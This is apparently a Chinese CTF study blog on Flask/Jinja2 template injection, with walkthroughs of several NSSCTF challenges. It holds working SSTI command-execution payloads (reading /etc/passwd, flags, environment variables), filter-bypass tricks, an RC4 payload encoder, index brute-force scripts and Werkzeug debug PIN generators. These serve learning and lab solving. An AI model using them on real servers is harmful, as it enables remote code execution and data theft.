然后我get可以传参
{{()|attr('__class__')|attr('__base__')}}一步一步获取指令
1.使用request,所有的下划线全部写在class里.

1
2
http://192.168.220.128:18080/flasklab/level/6?class=__class__
code={{''|attr(request.args.class)}}

这里这个|管道符的作用就很像那个点
我们这里得先构造好paylaod然后一步一步改,慢慢来

1
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['oppen']('cat /etc/passwd').read()}}

code={{''|attr(request.args.class)|attr(request.args.base)}}一个一个接上,get传我们要的参数,要不就换为cookie的形式
然后假设这个时候是post传name参数来进行模板注入
get传我们要改的变量
subclasses__()后面的括号要放在哪里呢?
post传的参数里面
在例题中,我们还发现中括号[]被过滤了,我们的paylaod就要变为

1
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}

要不就是题目将.给过滤了,要不就是说用了attr不能再用点了
这个不能直接read
.read()换为|attr(‘read’)()
2.使用unicode编码
指令就是{{()|attr('__class__')|attr('__base__')}}一个一个接好,不用传入get
还有就是__class__等等这些关键字全部都进行union编码。当然,还得是attr的情况下
3.使用16位编码
4.base64编码,python3的不可以
不是对所有内容,就是简单对下划线,但是要用attr
5.格式化字符串
好像%在post传参里要换为%25

[NISACTF 2022]is secret

1分
SSTIPythonFlask
进入告诉你是一个秘密,然后我们访问robots.txt
显示:It is Android ctf
这里还是做不了,然后我们来dirsearch一下
有/console,好家伙,之前学长出题,有个这个,让我们来输入key值,死都忘不了,我当时没有做出来,然后被学长骂了一餐
果然,我一访问,就需要我们输入pin码的相关内容
我们访问还有一个文件/secret秘密的英文单词,这个很可能就是放pin码的
但是进去显示这个Tell me your secret.I will encrypt it so others can’t see
然后http://node5.anna.nssctf.cn:24946/secret?secret=4141515
随便输入几个嘛
报错,那个很熟悉的页面,我们可以打开哪些东西,会更加细分一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
File "/app/app.py", line 35, in secret

if(secret==None):

return 'Tell me your secret.I will encrypt it so others can\'t see'

rc=rc4_Modified.RC4("HereIsTreasure") #解密

deS=rc.do_crypt(secret)



a=render_template_string(safe(deS))



if 'ciscn' in a.lower():

return 'flag detected!'

return a

然后发现是RC4加密,且密钥为HereIsTreasure
大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt

def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

这里要求我们输入的明文就是我们要输入的命令

1
{{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}

复制生成结果到浏览器

1
http://node5.anna.nssctf.cn:24946/secret?secret=.%14%19V%C2%A5%09%0Dgl%C3%93%C3%A7%2C%C2%BD%C2%BE%C3%B7%C2%BB%27%C2%ACkz%C2%88m%C3%A9%7C%03%C2%85%07%C2%B6%1C%C3%B3%0D%C3%A0%21%C2%84O%C3%97%04%C3%A2%17%C3%9B%40%C2%9D%C2%82%C3%B1%2A3%C3%B3%0A%C2%AA%C2%ADCb%2A%C2%AC%29m%C2%83%7F%07%C3%82%C3%B3%0DX%C2%BB%C2%86%1C%C2%BBMr%0Dw%C3%B4R

最后拿到flag
这里用不到相关的pin码计算的,我们稍微注意一下传参就是加密一下就可以了的

[NCTF 2018]flask真香

1分
SSTIFlaskJinja2
题目描述

php是世界上最好的语言!flask真香。
一进去是一个demo我们先看看是什么,好像没有找到我们需要的东西
我们这里再来扫描一下目录
我们再来fenjing一下

1
python -m fenjing scan --url http://node4.anna.nssctf.cn:28968/

这里不行,这里是没有进行传参的,直接是路径注入,而fenjing默认是没有这种注入的,我们这里来手动注入

1
2
3
4
5
6
7
8
${7*7}第一个,我们理解为根部
失败:来到第一个子部:{{7*7}}
成功:来到第二个子部:a{*comment*}b
第一个子部:
成功:那就是jinja2或者twig的。且我们输入{{7*'7'}},回显7777777说明是jinja2模板,回显49的话就说明是Twig
第二个子部:成功,那就是Smarty。只返回comment的内容
失败,来到第三个子部
第三个子部:${"z".join("ab")},成功就是Mako

第一个:${7*7}失败*
第二个:{{7*7}},回显49成功
第三个:{{7*'7'}}回显7777777
说明模板是jinja2
还得编写一个fuzz字典是最好的
后面会不断来完善的,初步字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
.
[
]
_
{
}
{{
}}
{%
%}
{%if
{%endif
{%print(
1
2
3
4
5
6
7
8
9
0
'
"
+
%20
%2B
%2b
join()
u
os
popen
importlib
linecache
subprocess
attr()
request
args
value
cookie
__getitem__()
__class__
__base__
__bases__
__mro__
__subclasses__()
__builtins__
__init__
__globals__
__import__
__dic__
__getattribute__()
__getitem__()
__str__()
lipsum
current_app
class
subclasses
config
args
request
open
eval
import
_frozen_importlib_external.FileLoader
name
code
flag
__hetitem
_wrap_close
request.args.popen
request.args.cmd
int()
float()
lower()
upper()
reverse()
replace
list()
string()

来我们在本地的bp跑一下
参考了一下,回显的长度是309的都被过滤了
并且加上我们有class和__class
发现,回显的是直接把class删除了__

1
2
3
4
5
6
7
8
class
subclasses
config
args
request
open
eval
import

杯过滤了的就是这些

1
2
3
Jinja2 (Python): 可以使用 + 运算符
Twig (PHP): 可以使用 ~ 运算符
ERB (Ruby): 可以使用 + 运算符

1.基于字符串连接运算符
示例:

1
2
3
jinjia2:{{ 'c' + 'at /etc/passwd' }}
Twig:{{ 'c' ~ 'at /etc/passwd' }}
ERB:<%= 'c' + 'at /etc/passwd' %>

2.使用内置函数和方法:

1
2
3
jinjia2:{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}
Twig:{{ ['c', 'at', ' ', '/etc/passwd']|join }}
ERB:<%= ['c', 'at', ' ', '/etc/passwd'].join %>

3.十六进制或Unicode编码:

1
2
3
4
jinja2:{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
Twig:{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
ERB:<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>

我们开始构造:{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}
然后就是我们要找模块或者内建的eval函数等
这个是找到eval的模块的

1
name={{''.__class__.__base__.__subclasses__()[499].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

调用os直接来拿flag的

1
2
{{config.__class__.__init__.__globals__.os.popen("cat /flag").read()}}
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

_frozen_importlib_external.FileLoader

1
name={{''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

get_flashed_messages,在已经加载了os模块的子类里面直接调用os模块
_

1
name={{().__class__.__base__.__subclasses__()[426].__init__.__globals__.os.popen('id').read()}}

os._wrap_close,下面的payload是一种绕过过滤了中括号的用法

1
code={{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}

下面的paylaod就是我们在newstar的week2中遇见的,很像这道的

1
{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

当时官方的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://127.0.0.1:63271/'
for i in range(500):
data={"name":"{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if 'os._wrap_close' in response.text:
print(i)
pass
except:
pass

还有一些差别在:{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()和{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()` 这里不是重点,试过了,都可以 主要是响应码,是由很大的区别的,这里都不是两百 修改后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import urllib.parse

base_url = 'http://node7.anna.nssctf.cn:23910/'

for i in range(500):
payload = "{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[" + str(i) + "]}}"
encoded_payload = urllib.parse.quote(payload)
url = base_url + encoded_payload # 构造如:http://.../{{payload}}
try:
response = requests.get(url)
if 'os._wrap_close' in response.text:
print(f"[+] Found at index: {i}")
break
except:
print("not found")
break

找到我们为72
1
http://node7.anna.nssctf.cn:23910/{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[72].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}
拿到flag # [HNCTF 2022 WEEK3]ssssti 1分 SSTIJinja2Flask 没看wp,直接试试,`:25307/?name={{7*7}}

回显就是49*
我们先来fenjing一下

1
python -m fenjing scan --url http://node5.anna.nssctf.cn:25307

感觉是可以一把嗦了的,虽然不是很快呀,但还是一把梭了
这里我们先fuzz一下,长度为159的全部被waf了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
4	_	200	false	false	159	
24 ' 200 false false 159
25 " 200 false false 159
32 os 200 false false 159
39 args 200 false false 159
43 __getitem__() 200 false false 159
44 __class__ 200 false false 159
45 __base__ 200 false false 159
46 __bases__ 200 false false 159
47 __mro__ 200 false false 159
48 __subclasses__() 200 false false 159
49 __builtins__ 200 false false 159
50 __init__ 200 false false 159
51 __globals__ 200 false false 159
52 __import__ 200 false false 159
53 __dic__ 200 false false 159
54 __getattribute__() 200 false false 159
55 __getitem__() 200 false false 159
56 __str__() 200 false false 159
58 current_app 200 false false 159
62 args 200 false false 159
67 _frozen_importlib_external.FileLoader 200 false false 159
71 __hetitem 200 false false 159
72 _wrap_close 200 false false 159
73 request.args.popen 200 false false 159
74 request.args.cmd 200 false false 159

这里我们先插入原来的ssti的单双引号过滤的笔记

requests绕过单双引号过滤:

requests在flask中可以访问基于http请求传递的所有信息
此requests并非python中的函数,而是flask内部的函数
requests.args.key,get方式传入的key值
requests.cookies获取cookies传入参数
requests.form.key获取post传入参数,content-type:application/x。。。。。。
这里get和post提交的都是参数key,可以换的
cookie假设穿的是:k2=benben,如果是这个的话,回显的东西就有点复杂像一个字典。
我修改请求为request.cookies.k2,那这样就回显的是benben
在构造paylaod时大多会用到单双引号
这里的’oppen’发现是不是被过滤了单引号了,我们就将这个部分换为request.args.ben
然后再get传参?ben=
但是’cat /etc/passwd’也是要单引号来闭合的
?cmd=cat /flag,将’cat /etc/passwd’和换为request.args.cmd

1
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['oppen']('cat /etc/passwd').read()}}

通过这两次更换就可以拿到我们的flag
cookie原理一样,但是不是用&符号,是;
可以很灵活,具体还要看就是说题目的传参方式是什么。可以get和post一起用,也可以说只用一种传参方式,多加两&&就可以了

但是这里好像基本能用的方式都过滤了
原始paylaod用这个

1
{{config.__class__.__init__.__globals__.os.popen("cat /flag").read()}}

我们先试着用post,发现请求方式被拒绝了
get方式

1
name={{config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}

cookie

1
class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls /

最后可以拿到flag

[HZNUCTF 2023 preliminary]flask

1分
SSTIFlaskJinja2
但是写到这里还是觉得[GDOUCTF 2023]这道题目很恶心啊,目前的理解还是手搓不了
前面顺序的所有题目除了拿到都能手搓了
一进去,显示:/?name=
老样子,我们先fenjing一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
python -m fenjing scan --url http://node5.anna.nssctf.cn:29725/

这里给了参数,我们就

python -m fenjing crack --url 'http://node5.anna.nssctf.cn:29725/' --method GET --inputs name

要不双引号,要不就不要引号
在 Windows 的 cmd.exe 里,单引号 '...' 是不被解析的字符串分隔符,会被当成 URL 内容的一部分

python -m fenjing crack --url http://node5.anna.nssctf.cn:29725/ --method GET --inputs name


python -m fenjing crack --url "http://node5.anna.nssctf.cn:29725/" --method GET --inputs name

这道题目fenjing是拿不到flag的
我们先输入{7*7}*
回显:hello! }7*7{*
发现倒序了
倒序脚本


import base64

strA = input()
strB=strA[::-1]
#sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8") #base


print(strB) #base不能直接编码,要先换成byte类型,直接在线网站编码

输入:}}‘7’*7{{
*`
回显:7777777
知道这个是jinjia2的模板

{{''.__class__.__base__.__subclasses__()
}})(__sessalcbus__.__esab__.__ssalc__.''{{

但是这里我们得到的也是一个倒序的,先把文本正序
复制到一个文件里面,写一个脚本

#flask-SSTI之查询subclasses子类位置

with open('1.txt', 'r') as f:
file = f.read().split(", ")

for i in range(0, len(file)):
if file[i] == "<class 'os._wrap_close'>":
print(i)
break

或者我用之前的脚本,把paylaod稍微改一下应该也是可以的
这个也是一个思路,这个就可以不考虑waf就可以找到我们需要的模块

{{''.__class__.__base__.__subclasses__(132).__init__.__globals__('popen')('ls /').read()}}
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('env').read()}}

第一个paylaod是错的,自己找错误原因,都是找os._wrap_close的_
我们应该是先找根目录

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}


}})(daer.)'/ sl'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.__esab__.__ssalc__.)({{

回显:hello! app bin boot dev etc flag.sh home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
有个flag.sh

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag.sh').read()}}

回显:hello! #!/bin/bash echo $DASFLAG > /flag export DASFLAG=flag_not_here DASFLAG=flag_not_here rm -f /flag.sh
还可以都哪里呢?
经验就是环境变量

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('env').read()}}

[CISCN 2019华东南]Double Secret

1分
SSTIFlaskJinja2
又有/console,啊啊啊,这怎么能够忘记了呢
又要我输入pin码
还有/secret以及/robots.txt
访问/robots.txt显示It is Android ctf
这个怎么和之前的一道题目一样
访问/secret,Tell me your secret.I will encrypt it so others can’t see
试试之前拿到题目的:http://node4.anna.nssctf.cn:28210/secret?secret={7*7}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
发现又到我们熟悉的那个界面了

if(secret==None):

return 'Tell me your secret.I will encrypt it so others can\'t see'

rc=rc4_Modified.RC4("HereIsTreasure") #解密

deS=rc.do_crypt(secret)



a=render_template_string(safe(deS))



if 'ciscn' in a.lower():

return 'flag detected!'

return a



好像和之前有道题目几乎一样
这里要求我们输入的明文就是我们要输入的命令

{{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}

复制生成结果到浏览器

http://node5.anna.nssctf.cn:24946/secret?secret=.%14%19V%C2%A5%09%0Dgl%C3%93%C3%A7%2C%C2%BD%C2%BE%C3%B7%C2%BB%27%C2%ACkz%C2%88m%C3%A9%7C%03%C2%85%07%C2%B6%1C%C3%B3%0D%C3%A0%21%C2%84O%C3%97%04%C3%A2%17%C3%9B%40%C2%9D%C2%82%C3%B1%2A3%C3%B3%0A%C2%AA%C2%ADCb%2A%C2%AC%29m%C2%83%7F%07%C3%82%C3%B3%0DX%C2%BB%C2%86%1C%C2%BBMr%0Dw%C3%B4R

最后拿到flag
这里用不到相关的pin码计算的,我们稍微注意一下传参就是加密一下就可以了的

[LitCTF 2024]一个….池子?

1分
SSTIJinja2Flask
题目描述

1
2
3
4
5
6
7
8
9
10
试着输入一些有趣的内容吧ww
我们先试着抓包,post传参,参数为input,同时他要访问根目录/echo
当然是先试着来一下我们的这个fenjing

python -m fenjing crack --url http://node4.anna.nssctf.cn:28469/echo --method POST --inputs input

这个直接就可以拿到flag了
常规注入:

{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("cat /flag").read()}}

[NCTF 2018]Flask PLUS

1分
SSTIPythonFlask
题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
yulige你又写bug了!
和之前有道题是类似的,都是先有个demo
之前拿到题目是路径传参,这道题呢?
http://node4.anna.nssctf.cn:28251/%7B%7B7*7%7D%7D
回显:49
{7*‘7’}时,回显7777777
jinjia2的


python -m fenjing crack --url http://node4.anna.nssctf.cn:28251/ --method GET

这个是会报错的*
这个基本就只能手动注入了

{{lipsum.__globals__['o''s']['pop''en']('tac /Th1s_is__F1114g').read()}}
lipsum又遇见这个了,就是我之前总结的用法
# python debug pin码计算
好像nss里面的这类题目比较少,我就补上我的笔记吧!后面遇到新的题目再慢慢补充
对于有文件包含或文件读取的漏洞,且开启debug功能
想要执行指令还需要输入pin码
输入pin码正确时就可以命令交互了,pin码的生成是有规律的
然后可以
1
2
3
4
5
6
7
8
9
10
11
12
13
>>>import os
>>>os.popen('ls').read()
>>>这里就可以来拿到flag了
>>>pin码生成原理
>>>pin码主要是由六个参数构成
>>>1.username-->执行代码时候的用户名
>>>2.getattr(app,"__name__",app.__class__.__name__) -->Flask
>>>3.modname -->固定值默认flask.app
>>>4.getattr(mod,"__file__",None) -->app.py文件所在的路径
>>>5.str(uuid.getnode()) -->电脑上的mac地址
>>>6.get_machine_id() --》根据操作系统不同,有四种获取方式
>>>2和3基本是固定
>>>

pin码计算ctf赛题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
flask debug开启危害
有文件包含或文件读取的漏洞,且开启debug功能
比如?url=/etc/passwd
就可以读到一些东西,把目标的文件读取出来了
第一个:我们读取etc/passwd里面看到了用户名,默认为root
第二个:modname就是flask.app
第三个:Flask
第四个:flask目录下的app.py的路径。有个报错页面的情况就是直接给你显示了app.py的路径
第五个:看对方的目标靶机是什么系统,对方是ubunt就是/sys/class/net/eth0/address就可以了
如果是centos的就是/sys/class/net/ens33/address
这里就是?url=/sys/class/net/eth0/address,读出来02:42:0a:00:03:04
这里的mac地址要换为十进制
第六个:
/etc/machine-id,回显的都要
/proc/self/cgroup,只要第一行docker后的
把这两个拼接起来

py2.7的pin码计算脚本,可能app.py换为app.pyc。但是下面这个脚本又写着py3.7

这里渲染遇到问题,全部换为代码块来渲染了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain

probably_public_bits = [
'root'#username,通过/etc/passwd
'flask.app',#modname,默认值
'Flask',# 默认值
'/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]

private_bits = [
'25214234362297', # mac十进制值 /sys/class/net/ens0/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # 低版本直接/etc/machine-id
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

高版本的为sha

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import hashlib
from itertools import chain

# 可能是公开的信息部分
probably_public_bits = [
'root', # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir,报错得到
]

# 私有信息部分
private_bits = [
'2485377568585', # /sys/class/net/eth0/address 十进制
'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
# machine-id部分
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)

# 加盐处理
h.update(b'cookiesalt')

# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)

# 生成 pin 码
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录